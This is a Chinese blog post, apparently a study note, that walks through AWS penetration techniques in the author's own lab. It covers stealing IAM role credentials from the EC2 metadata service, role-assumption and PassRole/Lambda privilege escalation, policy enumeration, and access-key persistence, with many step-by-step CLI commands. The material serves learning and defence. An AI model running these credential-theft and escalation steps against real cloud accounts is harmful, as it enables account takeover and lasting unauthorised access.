渗透测试 on MentalityXt

AWS 云渗透测试

Fri, 07 Mar 2025 18:06:00 +0800

EC2 元数据服务利用(IMDS)

跟IAM息息相关，在基础部分其实提到过这个，要利用的话只能通过ssrf和webshell等

在EC2里面访问下面连接的时候可能会获得一个临时凭证相当于获得临时的KEY来访问该权限下的所有服务

1

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

EC2 元数据服务（Instance Metadata Service, IMDS） 运行在这个 IP 上，它提供：

实例信息（如 instance-id, ami-id）
网络信息（如 public-ipv4, security-groups）
IAM 角色凭证（最关键的部分！）
用户数据（EC2 启动时执行的脚本）

跟基础部分一样，有了这两个KEY，你可以查看S3，查看EC2，查看一系列东西，算是高危，且默认是开启的。

比如

访问路径：

1

curl http://169.254.169.254/latest/meta-data/

1
2
3
4
5
6
7
8


ami-id
hostname
iam/
instance-id
instance-type
network/
public-ipv4
security-groups

其中，最危险的是：

1

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

1

AdminRole

然后访问：

1

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

如果返回：

1
2
3
4
5
6


{
 "AccessKeyId": "ASIA...",
 "SecretAccessKey": "....",
 "Token": "....",
 "Expiration": "2025-03-04T00:00:00Z"
}

成功拿到了 AWS IAM 角色的临时凭证，可以用 AWS CLI 进行各种操作！

实操一下这里开启一个EC2实例就用之前用过的就行，只要访问成功就行，学到的内容就是：找到一个AWS EC2实例开启的web服务的ssrf或者getshell的时候就能接管一部分资源了。

AWS元数据服务利用实操

AWS 默认使用 IMDSv1（curl 可以直接访问），但 AWS 允许管理员启用 IMDSv2，它要求：

先获取一个临时 Token
使用 Token 进行后续请求

检查是否启用了 IMDSv2

1

curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

正常来说curl直接就可以了但是上面也提到了如果开启了 IMDSv2 就需要先获得token 然后利用token再来请求元数据。如下

获得了一串token就说明 IMDSv2 已启用，你必须用这个 Token 才能访问元数据。

其实就是获取了token之后加一个请求头就行按照上面教程加一个请求添加上token

1

curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

如果在ssrf或者webshell当中他不是交互式可能用不了这种变量需要自行复制粘贴上去就行这里学习的话方便一点就直接设一个变量了

1
2


TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

成功了但是并没有绑定IAM角色所以要绑定一个IAM角色才能读取凭证在AWS基础概念那一块对这个EC2绑定IAM角色讲了一部分但是对于原理的部分讲的比较少目前有一个EC2实例，他想要访问S3存储桶，可能是一个web服务，他想在本地存储文件存储到存储桶，还是写入一些东西放到存储桶，或者每天备份一次网站到存储桶等等这都是后端部分了，我想表达的意思就是这个EC2要调用S3存储桶。

正常来说访问S3存储桶，生成一个用户，获得他的两个KEY不就可以了吗，怕危险也可以只给这个用户一个S3的权限，这样很方便，但是这样的优点较少弊端较多，首先如果攻击者获得了webshell找到了KEY就能长期持有这个S3的权限了，其次如果想要其他服务的权限，手动轮换的代价过高，需要人工访问API等等都是缺点，优点只有一个SSRF读取不到，缺点就是任意文件读取能读到。

而绑定一个角色，需要什么权限就绑哪一个就行了，可以一直绑，优点就是key的时效只有1个小时，在后面将漏洞修复了，他就无法长期来控制这个S3，那在EC2内部调用S3等等服务的时候不还是要先获取token再请求api获得临时凭证吗，也挺麻烦的，实际上AWSCLI在你请求S3的时候会自动获取凭证等等信息，不需要其他操作，缺点就是SSRF能读取把。接下来开始实操

EC2绑定IAM角色

选择刚刚创建的角色更新就行接下来看一下存储桶

没有问题一个存储日志的存储桶一个学习基础概念的时候创建的存储桶可以直接访问

环境配好了接下来放EC2元数据服务的接口普通命令之前就了解了不需要再用这个操作了目前的场景主要是webshell还有ssrf

EC2元数据服务重要接口

自行学习还是先把TOKEN生成一下吧

1

TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

EC2 的元数据存储在 http://169.254.169.254/latest/meta-data/ 下面，所有的关键信息都可以从这里获取。

接口	用途	IMDS v1	IMDS v2
`/latest/meta-data/`	获取所有可用的元数据目录	`curl http://169.254.169.254/latest/meta-data/`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/`
`/latest/meta-data/iam/security-credentials/`	列出 IAM 角色名称	`curl http://169.254.169.254/latest/meta-data/iam/security-credentials/`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/`
`/latest/meta-data/iam/security-credentials/{role-name}`	获取 IAM 角色的临时凭证	`curl http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name}`
`/latest/meta-data/instance-id`	获取实例 ID	`curl http://169.254.169.254/latest/meta-data/instance-id`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id`
`/latest/meta-data/public-ipv4`	获取实例的公网 IP	`curl http://169.254.169.254/latest/meta-data/public-ipv4`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/public-ipv4`
`/latest/meta-data/local-ipv4`	获取实例的私有 IP	`curl http://169.254.169.254/latest/meta-data/local-ipv4`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/local-ipv4`
`/latest/meta-data/mac`	获取实例的 MAC 地址	`curl http://169.254.169.254/latest/meta-data/mac`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/mac`
`/latest/meta-data/network/interfaces/macs/{mac}/vpc-id`	获取 VPC ID	`curl http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac}/vpc-id`	`curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/network/interfaces/macs/{mac}/vpc-id`

没有问题其他接口感兴趣可以自己测一下

IAM 渗透（角色切换 & 权限滥用）

在 AWS 云渗透中，很多 AWS 资源（EC2、Lambda）默认绑定 IAM 角色，但这些角色通常是 最低权限的。

但是，有些 IAM 角色可能可以 Assume（承担）更高权限的角色！ 如果攻击者找到这些角色，就可以获取更高级的访问权限，甚至变成 AWS 管理员。

IAM 渗透主要有 4 个核心技术点：

sts:AssumeRole角色切换 → 获取更高权限
iam:PassRole权限滥用 → 绕过访问控制
iam:GetPolicyVersion读取策略 → 找到可滥用权限
iam:CreateAccessKey创建新密钥 → 持久化控制 AWS 账户

sts:AssumeRole角色切换

理论

AssumeRole允许一个 IAM 角色 “变成” 另一个 IAM 角色
这意味着 低权限用户可能可以切换成高权限用户
如果攻击者能找到可被 Assume 的高权限角色，他就能 借此提升权限！

1

aws sts assume-role --role-arn "arn:aws:iam::123456789012:role/AdminRole" --role-session-name attacker-session

如果成功，会返回一个 新的临时凭证：

1
2
3
4
5
6
7
8


{
 "Credentials": {
 "AccessKeyId": "ASIA...",
 "SecretAccessKey": "SECRET...",
 "SessionToken": "TOKEN...",
 "Expiration": "2025-03-04T00:00:00Z"
 }
}

在 AWS 中，AssumeRole 允许一个 IAM 角色“变成”另一个 IAM 角色。

🔹 为什么这很重要？

AWS 不让普通用户直接访问 Administrator 角色，但有些 IAM 角色可以 Assume（切换）到更高权限的角色。
如果你的角色有 sts:AssumeRole权限，你就可以“变成”管理员！

🔹 如何工作？

低权限角色（你当前的 EC2S3AccessRole）请求 AssumeRole，AWS 返回 一个临时凭证。
用这个新凭证，你可以变成更高权限的 IAM 角色，并访问受限资源。

上面就是理论框架，理清一下思路，如果存在sts:AssumeRole权限就可以切换到管理员权限，而当前用户不存在 sts:AssumeRole 权限怎么办呢，那就需要去找有这个权限的IAM角色，并且这个角色必须信任当前持有的IAM账户，才能切换到这个IAM角色。接下来搭建环境。

注意这里一定要读：这个有点复杂也是我复现到后面才发现的问题仅仅存在sts:AssumeRole权限的话是无法随意切换到其他用户的利用的前提就是高权限用户信任低权限用户且低权限用户存在sts:AssumeRole权限，这个权限的作用仅仅是允许你可以切换用户，仅此而已，就像linux必须先给你一个su的权限，且你su的时候另一个用户对你开放了su不需要密码的权限才行。有点鸡肋，下面的环境搭建教程我重新重构了。

环境搭建

给之前创建的EC2S3AccessRole角色加上查询用户以及查询信任关系的权限，让EC2S3AccessRole能查到谁信任它，然后给上sts:AssumeRole权限让他具备 “su” 的能力。

给EC2S3AccessRole能查询用户的权限，如果不能查询用户，他就不知道谁信任他，也找不到ARN，也无法切换到这个具有sts:AssumeRole权限且信任他的角色了。

步骤如下

在对应的位置搜索IAM找到ListRoles和GetRole打勾就可以，当然右边的json也可以，在右边的json里面输入下面的配置也是没问题的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


{
	"Version": "2012-10-17",
	"Statement": [
		{
			"Sid": "VisualEditor0",
			"Effect": "Allow",
			"Action": "iam:GetRole",
			"Resource": "arn:aws:iam::6502*******:role/*"
		},
		{
			"Sid": "VisualEditor1",
			"Effect": "Allow",
			"Action": "iam:ListRoles",
			"Resource": "*"
		}
	]
}

1

aws iam list-roles

回到EC2上测试没有问题，当前的EC2S3AccessRole角色可以查看IAM用户了。

接下来给EC2S3AccessRole附上sts:AssumeRole权限

还是刚刚的的步骤继续内联策略

这里详细介绍一下资源(画红线)这一块，有些意思感兴趣可以看看(上面其实也有这个)。

选择所有的话，代表整个AWS里面，包括任何AWS账号的任何角色，你都可以去尝试切换，但是前提是他得信任你，只要他在他的信任策略里面添加了这个账号的ARN，就可以跨账号去切换过去，这个一般用于企业跨AWS账号。 选择特定的话，可以点击那个添加ARN来选择。

上面说了所有的话是没有任何限制，这里有点限制，限制一个AWS账户，也就是只有你指定的AWS账户里的角色对你信任你才能切换过去，其他账户的角色就算对你信任，你不解开这个，也无法去切换过去，算是一个双向的认证吧。

直接添加就行选择当前ARN资源的所有的path

此时两个策略写好了，目前还需要创建一个角色，为了体现越权的感觉，给新建的角色AdministratorAccess等权限就行，同时信任EC2S3AccessRole。

到这一步创建就可以了值得一提的是从开始创建选择受信任的实体的时候我们选择了当前的账户这导致我们整个账户的角色都被PrivilegeTest这个新角色信任但是我们一开始的目的是仅仅允许EC2S3AccessRole被信任那就可以用下面这个将他的ARN填进去就行然后编辑覆盖原来的信任策略

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


{
 "Version": "2012-10-17",
 "Statement": [
 {
 "Effect": "Allow",
 "Principal": {
 "AWS": "arn:aws:iam::650251******:role/EC2S3AccessRole"
 },
 "Action": "sts:AssumeRole"
 }
 ]
}

至此环境全部搭建好了。

复现验证

接下来复现一条攻击链，整体的方法非常多，先走其中一条复现原理。

1
2
3
4
5


aws iam list-roles
aws iam list-roles --query "Roles[*].Arn"

# --query后面是查询语法 把这两个输出一下就能理解了
aws iam list-roles --query "Roles[*].RoleName"

找到了一堆角色，现在可能有很多疑问，但是先看下去后面会解释，目前是为了熟悉这一条流程。

我们已经知道了PrivilegeTest这个就是信任当前角色(EC2S3AccessRole)的角色，输出一下他的ARN

1
2
3
4


aws iam list-roles --query "Roles[?RoleName=='PrivilegeTest'].Arn"
aws iam list-roles --query "Roles[?RoleName=='PrivilegeTest'].Arn" --output text

# 这个规则也可以学习一下

拿到了ARN 虽然已经知道了这个角色信任我们，但是还是得验证一下

1

aws iam get-role --role-name PrivilegeTest --query "Role.AssumeRolePolicyDocument"

没有问题确实是信任状态目前就可以尝试获得这个高权限的两个KEY了

1

aws sts assume-role --role-arn "arn:aws:iam::6502********:role/PrivilegeTest" --role-session-name test-session

没问题直接使用AWS CLI将这些凭证写入这里还有很多方法不能用刚开始学的方法那个无法写入token 导致无法使用下面这个应该是最快的和方便的了

1
2
3
4


aws configure set aws_access_key_id "ASIAxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_secret_access_key "xxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_session_token "xxxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set region "us-east-2" --profile privileged-session

输入完成就开始验证一下当前身份就行了不执行其他命令了

1

aws sts get-caller-identity --profile privileged-session

没有问题成功切换了剩下的就可以看看当前权限什么的然后干一些事情

补充部分

这一部分也是最麻烦的。流程已经讲清楚了再复述一遍把。当我们第一次拿到了一个角色的凭证，无论是IMDS还是什么获取到的，如果权限过低首先尝试提权。

先用当前角色xxxx查询所有角色xxxx的名称以及ARN，再xxxx查询谁对我信任，然后再xxxx切换到xxxx信任我的角色。

上面的关键流程我都打高亮了，第一个问题查询所有角色，之前环境搭建的时候看到了，查询所有角色的权限是我们给他的，如果不给他呢？其实还有很多方法，但是是其他权限的方法(总而言之就是要权限)，只是这个方法比较简单，所以才给了它查询所有角色的权限。第二个能查询所有权限了，还需要查看谁对我信任，所以我们当时又给了他一个获得策略的权限，这样就可以去查看其他角色的信任策略了。第三给它 sts:AssumeRole 权限，这样才能切换角色。

最关键的就是查询所有角色，这里不仅要判断他是否为高权限角色，还要看他是否对当前角色信任。你能想到的每一块其实都有对应的权限需要对开启才能查看。

查看权限策略需要 iam list-attached-role-policies ，查看内联策略需要 iam list-role-policies 。不开启那就什么都干不了，补充部分作为最重要的部分，主要目的是如果存在一部分权限，如果进行利用完成攻击链。

流程所需的命令

命令	用途	所需权限
`aws sts get-caller-identity`	获取当前身份（确定是 IAM 用户还是 IAM 角色）	无需权限（所有 AWS 账户默认可用）
`aws iam list-roles`	查询当前 AWS 账户所有 IAM 角色的名称和 ARN	`iam:ListRoles`
`aws iam list-users`	列出所有 IAM 用户（用户名 + ARN）	`iam:ListUsers`
`aws iam get-user`	获取当前 IAM 用户的详细信息（用户名 + ARN）	`iam:GetUser`
`aws iam get-role --role-name <ROLE_NAME>`	获取指定角色的详细信息（包括信任策略）	`iam:GetRole`
`aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess`	查看哪些 IAM 用户/角色绑定了管理员权限	`iam:ListEntitiesForPolicy`
`aws iam list-attached-role-policies --role-name <ROLE_NAME>`	获取指定角色附加的托管策略	`iam:ListAttachedRolePolicies`
`aws iam list-role-policies --role-name <ROLE_NAME>`	获取指定角色的内联策略	`iam:ListRolePolicies`
`aws iam get-role-policy --role-name <ROLE_NAME> --policy-name <POLICY_NAME>`	查看指定角色的内联策略详细内容	`iam:GetRolePolicy`
`aws iam get-policy --policy-arn <POLICY_ARN>`	查看指定托管策略的信息	`iam:GetPolicy`
`aws iam get-policy-version --policy-arn <POLICY_ARN> --version-id v1`	获取指定托管策略版本的详细权限	`iam:GetPolicyVersion`
`aws sts assume-role --role-arn "arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>" --role-session-name my-session`	切换到目标角色（需要目标角色信任当前身份）	`sts:AssumeRole`
`aws sts get-session-token`	获取基于 MFA 的临时凭证（用于提高权限）	`sts:GetSessionToken`
`aws sts decode-authorization-message --encoded-message <ENCODED_MESSAGE>`	解码 `AccessDenied` 错误的详细信息	`sts:DecodeAuthorizationMessage`

iam:PassRole 权限滥用

理论

逻辑：

PassRole 允许你把一个 IAM 角色 赋予 AWS 资源（比如 EC2、Lambda）。
但你自己不能 Assume 这个角色，只能让 AWS 资源使用这个角色。
如果 AWS 资源能执行某些高权限操作（比如 S3 读写、EC2 操作），那你就能利用它间接获取高权限。

方式:

让 Lambda 绑定高权限角色（常见方式）

我们有iam:PassRole 权限，并且可以创建 / 更新 Lambda。
我们创建 Lambda 并让它绑定高权限角色，然后让 Lambda 执行命令。

让高权限角色绑定到 Lambda / EC2（可遇不可求）

如果目标高权限 IAM 角色 能修改 AWS 资源（EC2 / Lambda），那么它可以被引导去执行恶意代码。
这种情况比较少见，主要是如果管理员误配置导致你能控制某个高权限角色的 AWS 资源。

前提：你拥有以下权限之一

权限	作用
`iam:PassRole`	允许你给 Lambda / EC2 附加 IAM 角色（前提权限，必须有）
`lambda:CreateFunction`	允许你创建新的 Lambda （新建时直接赋予高权限角色）二选一
`lambda:UpdateFunctionConfiguration`	允许你修改已有 Lambda 的 IAM 角色二选一
`lambda:InvokeFunction`	允许你触发 Lambda （如果你改了 Lambda 代码，也得能调用它）必须
`lambda:ListFunctions`	允许你列出已有 Lambda （如果你想改某个 Lambda，先得能看到它）必须
`ec2:RunInstances`	允许你创建新的 EC2 （创建时直接赋予高权限角色）
`ec2:ModifyInstanceAttribute`	允许你修改已有 EC2 的 IAM 角色
`ec2:StartInstances`	允许你启动一个暂停的 EC2（如果它已经有高权限角色）

解释一下这里：创建角色的时候不是可以选择服务吗，你可以选择Lambda或者ec2，我们之前用的EC2S3AccessRole就是选择EC2所以它是拥有EC2全部权限的角色，在创建的时候就已经选择了EC2了，这个时候再附加上iam:PassRole就可以完成这部分的利用，这就是原理，当然这只是一个场景表达的意思是能理解就行，最终还是需要上面的这些权限可以比如iam:PassRole加上lambda的那四个权限，或者iam:PassRole加上ec2的那三个权限，都可以完成。

主要逻辑就是先查看所有的Lambda函数(lambda:ListFunctions)，创建一个Lambda函数(lambda:CreateFunction/lambda:UpdateFunctionConfiguration)，配合iam:PassRole将高权限角色绑定上去，该Lambda代码，一般创建的时候就能直接构造，执行代码(lambda:InvokeFunction)，完成攻击。

环境搭建

需要一个高权限且信任Lambda服务的角色，我过会针对这个角色来做攻击

验证一下这个账号是否可用，顺便聊一下Lambda的原理，Lambda会强制绑定一个角色，如果没有合适的角色在你创建Lambda函数的时候会自动给你生成一个合适的角色，我们刚刚创建的就是一个合适的角色，首先信任Lambda服务，其次拥有administratoraccess权限这个权限包含了Lambda的所有权限。

如何验证呢？前往Lambda处创建函数，选择现有角色，这里只会出现合适的角色。

第二个就是我们创建的，那么第一个是哪来的呢，这个是在AWS基础概念那边学习基础的时候，不懂这些，就选择的上面创建具有基本Lambda权限的新角色自动创建的。可以研究一下角色看都有什么权限。MyFirstFunction-role-ox8lckqa

可以看到，这里仅仅信任Lambda服务，其次有一个自定义的策略，主要就是Amazon CloudWatch Logs 权限跟描述一样

被提权的角色搭建完成了，还需要创建一个具有Lambda权限的账户/能访问的角色 这两个其中一个都行，然后加上关键的iam:PassRole权限就配置好了这个低权限用户/角色。

这里要考虑的问题可以自行思考一下，以及哪个方便都能自行考虑一下，能加深对这些服务的理解，更好理解这个架构和原理。这里为了演示并且熟悉一下之前学过的东西就选择能访问的角色把。

创建即可开始赋予关键的权限 iam:PassRole 。

这样就算完成了。梳理一下当前的思路。有一个高权限的且信任Lambda的角色，还有一个我们可控的仅仅具有Lambda和iam:PassRole权限的低权限角色，这个时候我们可控的低权限角色可以靠Lambda权限创建函数，iam:PassRole权限又允许我们可以指定高权限角色作为这个函数的执行角色。将这个高权限的且信任Lambda的角色添加为我们可控的函数的执行角色之后，我们上传的任何的Lambda代码，在执行的时候都是以这个高权限角色的身份运行的，这就是原理。

复现验证

还记得EC2S3AccessRole这个账号吗，它存在角色切换的权限，当然也可以用之前创建的具有administratoraccess权限的账户，都是没有问题的，这里体现的就是我们控制了存在Lambda权限的账号且该账号存在 iam:PassRole 权限。

找到新建低权限角色LambdaTest的ARN

1

aws sts assume-role --role-arn arn:aws:iam::65025******:role/LambdaTest --role-session-name ExploitSession

没有任何问题还是上节学的导入方法那个方法比较简单其他方法稍微麻烦就不搞了。

1
2
3
4


aws configure set aws_access_key_id "ASIAxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_secret_access_key "xxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set aws_session_token "xxxxxxxxxxxxxxxxxxx" --profile privileged-session
aws configure set region "us-east-2" --profile privileged-session

有了这些东西只要存在AwsCli 不管在哪里执行都行

可以执行返回空是因为我把lambda函数全都删了(Lambda函数的boto3库是一定要学的我比较擅长python 后续回单开一节专门学习boto3库) 按照基础概念里学的步骤往上传就可以了

构造python的poc代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


import json
import boto3

def lambda_handler(event, context):
 client = boto3.client('s3')
 response = client.list_buckets()

 for bucket in response["Buckets"]:
 bucket["CreationDate"] = bucket["CreationDate"].isoformat()

 return {
 'statusCode': 200,
 'body': json.dumps(response)
 }

压缩代码能压缩就行不管什么办法

1

zip function.zip lambda_function.py

创建函数

1
2
3
4
5
6
7
8


aws lambda create-function \
 --function-name testLambda \
 --runtime python3.9 \
 --role arn:aws:iam::<ACCOUNT_ID>:role/<HIGH_PRIV_ROLE> \
 --handler lambda_function.lambda_handler \
 --zip-file fileb://function.zip

aws lambda create-function --function-name testLambda --runtime python3.9 --role arn:aws:iam::<ACCOUNT_ID>:role/<HIGH_PRIV_ROLE> --handler lambda_function.lambda_handler --zip-file fileb://function.zip

这里有个小插曲，昨天我尝试了很久一直失败了(今天成功了)，说什么token有问题，问了GPT的同时我也分析了下，旧的 STS 临时凭证仍然在使用这个最符合我当时的情况，如果你的 AWS CLI 之前使用了一个失效的或权限不足的 STS 临时凭证，即使你在 AWS 控制台修改了 IAM 角色权限，CLI 仍然会使用旧的 Token，导致权限问题。当时做测试用了很多的STS临时凭证，后面发现有问题就重新加权，结果一直是如下报错。

An error occurred (UnrecognizedClientException) when calling the CreateFunction operation: The security token included in the request is invalid.

今天可能是因为设置的token失效为一个小时，已经过期被抛弃了，重新生成key和token之后恢复了正常，GPT也给了解决方法，昨天没有用到的。

1

aws sts assume-role --role-arn arn:aws:iam::6502******:role/LambdaTest --role-session-name DebugSession

可以试试总之今天能使用了成功上传

没有问题可以在web端测试一下看看能不能跑起来同时用AWSCLI验证一下能否访问S3

1

aws lambda invoke --function-name testLambda --payload "{\"key1\": \"value1\", \"key2\": \"value2\"}" response.json --cli-binary-format raw-in-base64-out

没有问题确实是遍历了至此攻击链完结

补充部分

关键利用链也讲的很清楚了但其实还有一处特别重要 Lambda函数提供了多种语言

如果你擅长其中一种语言再查看的时候你可以发现他引入了一个库比如python就有boto3库很明显访问资源的时候基本上就是boto3库来进行调用才访问到的而刚刚给的代码只能完成访问S3没有其他作用所以后续必须学习写Lambda代码也就是学习boto3这个库学这个后面必须新开一个才行这里复现完成就到此为止了。

iam:GetPolicyVersion 读取策略

理论

如果你可以调用 iam:GetPolicyVersion，你就可以查看某个策略的所有权限，可能会发现被滥用的高权限策略。之前学习的两个都存在滥用的高权限策略，这里主要是把他们两个读出来，然后看看就行了，具体是要会分析，会读取。这里的逻辑可能有点问题，是这样的，如果你发现了一个策略绑定到了某个角色身上，并且该角色是你可控的角色。(用户我试了无法查询)

环境搭建

复用前两个的环境即可，至于我们需要的iam:GetPolicyVersion权限，想创建可以自行创建看看，主要是需要这几个权限。

1
2
3


iam list-policies(查询账户中所有的管理策略)
iam get-policy(查询某个策略的默认版本)
iam GetPolicyVersion(最关键的)(读取策略的详细内容)

我这里直接用管理员账户测试就行了。

查询账户中所有管理策略

目标：找到所有 AWS 账户中的 Managed Policy（托管策略）。

1

aws iam list-policies --query "Policies[*].{PolicyName:PolicyName, Arn:Arn}"

返回示例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


[
 {
 "PolicyName": "AdministratorAccess",
 "Arn": "arn:aws:iam::aws:policy/AdministratorAccess"
 },
 {
 "PolicyName": "S3FullAccess",
 "Arn": "arn:aws:iam::aws:policy/S3FullAccess"
 }
]

你会发现当前 AWS 账户内所有的策略，包括：

高权限策略（如 AdministratorAccess）
可能可滥用的策略（如 PassRole、CreateUser 等）

查询某个策略的 `默认版本`

目标：找到某个策略的 VersionId，然后用 GetPolicyVersion 获取具体权限。

1

aws iam get-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

返回示例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


{
 "Policy": {
 "PolicyName": "AdministratorAccess",
 "Arn": "arn:aws:iam::aws:policy/AdministratorAccess",
 "DefaultVersionId": "v1",
 "AttachmentCount": 10,
 "PermissionsBoundaryUsageCount": 0,
 "IsAttachable": true
 }
}

重点：DefaultVersionId是 v1，这个 v1 就是当前生效的策略版本。

读取策略的详细内容

目标：利用 iam:GetPolicyVersion 读取策略权限，查找可滥用的权限。

1

aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --version-id v1

返回示例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


{
 "PolicyVersion": {
 "Document": {
 "Statement": [
 {
 "Effect": "Allow",
 "Action": "*",
 "Resource": "*"
 }
 ]
 },
 "VersionId": "v1",
 "IsDefaultVersion": true
 }
}

如果 Action: "*"和 Resource: "*"，说明这个策略是 AdministratorAccess，可以完全控制 AWS 账户。

上面的流程都敲一遍，因为后续还有点复杂，理论部分讲过了，这个主要是在你知道了你可控的某个角色绑定的策略之后，在进行利用的，如果你不知道你可控的角色绑定了什么策略，查这个完全没用。

接下来引出6个重要的权限用于配合 iam:GetPolicyVersion。

查询用户（User）绑定的策略

托管策略：

1

aws iam list-attached-user-policies --user-name <用户名>

所需权限：iam:ListAttachedUserPolicies

输出示例：

1
2
3
4
5
6
7
8


{
 "AttachedPolicies": [
 {
 "PolicyName": "AdminPolicy",
 "PolicyArn": "arn:aws:iam::123456789012:policy/AdminPolicy"
 }
 ]
}

内联策略：

1

aws iam list-user-policies --user-name <用户名>

所需权限：iam:ListUserPolicies

输出示例：

1
2
3


{
 "PolicyNames": ["InlinePolicyForUser"]
}

查询角色（Role）绑定的策略

托管策略：

1

aws iam list-attached-role-policies --role-name <角色名>

所需权限：iam:ListAttachedRolePolicies

内联策略：

1

aws iam list-role-policies --role-name <角色名>

所需权限：iam:ListRolePolicies

查询组（Group）绑定的策略

托管策略：

1

aws iam list-attached-group-policies --group-name <组名>

所需权限：iam:ListAttachedGroupPolicies

内联策略：

1

aws iam list-group-policies --group-name <组名>

所需权限：iam:ListGroupPolicies

复现验证

接下来就比较简单了，我们针对EC2S3AccessRole进行查询看看就行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


C:\Users\xxxxxx>aws iam list-attached-role-policies --role-name EC2S3AccessRole
{
 "AttachedPolicies": [
 {
 "PolicyName": "AmazonS3ReadOnlyAccess",
 "PolicyArn": "arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess"
 },
 {
 "PolicyName": "AmazonS3FullAccess",
 "PolicyArn": "arn:aws:iam::aws:policy/AmazonS3FullAccess"
 },
 {
 "PolicyName": "AWSLambda_FullAccess",
 "PolicyArn": "arn:aws:iam::aws:policy/AWSLambda_FullAccess"
 }
 ]
}

C:\Users\xxxxxx>aws iam list-role-policies --role-name EC2S3AccessRole
{
 "PolicyNames": [
 "AssumeRole",
 "ListRoles"
 ]
}

能看到他所有的权限，那么问题来了，是个人都知道上面的托管策略的里面的三个是干啥的，他们都是默认的，具体的权限也都知道，为什么非要去读取它的具体策略还非要iam:GetPolicyVersion去读取呢，为什么还非要 iam list-policies(查询账户中所有的管理策略) iam get-policy(查询某个策略的默认版本) iam GetPolicyVersion(最关键的)(读取策略的详细内容) 这三个权限配合呢？这不是多此一举吗，我其实疑问也非常大。实际上这个权限危害还是挺大的。攻击链因具体环境而变，首先主要针对于自定义策略，如果上面查到的三个托管权限不是默认的呢，是不是就无法确认他是什么权限，这个时候用iam GetPolicyVersion读取出来就知道他能干什么了，如果出现表中的权限，那么干的事情就非常多了。

可滥用权限	风险
`iam:PassRole`	允许将高权限角色绑定到 Lambda / EC2 进行提权
`sts:AssumeRole`	允许切换到高权限角色
`iam:CreateUser`	允许创建新 IAM 用户，持久化后门
`iam:AttachUserPolicy`	允许给低权限用户绑定管理员权限
`iam:CreateAccessKey`	允许为其他用户创建密钥
`lambda:UpdateFunctionCode`	允许修改 Lambda 代码，植入恶意操作

这一条攻击链是能知道某个角色存在某个自定义的托管权限，然后去查看具体的托管权限是怎么写的。下一个问题，那跟这三个权限中的上面两个有什么关系，为什么非要提他俩。 iam list-policies(查询账户中所有的管理策略) iam get-policy(查询某个策略的默认版本) iam GetPolicyVersion(最关键的)(读取策略的详细内容) 我们可以用第一个命令找到所有的权限，如果存在某个非默认的自定义托管权限的时候，查看一下版本，如果是默认的，就去读取整个策略的详细内容，再根据这个自定义策略去猜测他给了谁，也就是谁被赋予了这个自定义策略，甚至能构造poc直接遍历所有角色跑一边，或者说下面这个权限也能找到。

目标：确定该策略被绑定到哪些用户（User）、角色（Role）或组（Group）。 所需权限：iam:ListEntitiesForPolicy（列出绑定该策略的实体）。操作：

1

aws iam list-entities-for-policy --policy-arn arn:aws:iam::123456789012:policy/AdminPolicy

1
2
3
4
5


{
 "PolicyGroups": [],
 "PolicyUsers": [{"UserName": "BackdoorUser"}],
 "PolicyRoles": [{"RoleName": "AdminRole"}]
}

这个时候就能定位目标角色了，如果你有这个角色的权限或者查询一下目标角色的信任策略(get-role)，然后就可以用arn:aws:iam::123456789012:policy/AdminPolicy了。

刚好又回到了sts:AssumeRole角色切换这里，这就是完整的攻击链。

补充部分

可能看起来确实有点复杂了，但是这仍然是一个高危的权限，它允许你读取很多策略，可能利用部分感觉有点鸡肋，一般有些公司可能会写一堆自定义策略，AWS已经做到极致了，当管理人员写错任何一个策略都可能被乘虚而入。

iam:CreateAccessKey 创建新密钥

理论

Access Key = AWS 账户的凭据，相当于 root 账户的用户名和密码。

通过 iam:CreateAccessKey，攻击者可以给自己创建一个新的 Access Key，即使原有凭据被废弃，攻击者仍然可以继续访问 AWS 资源。

这是一种 持久化 技术，允许攻击者在获得 AWS 账户初始访问权限后 长期保留访问权限，即使管理员删除原始凭据。

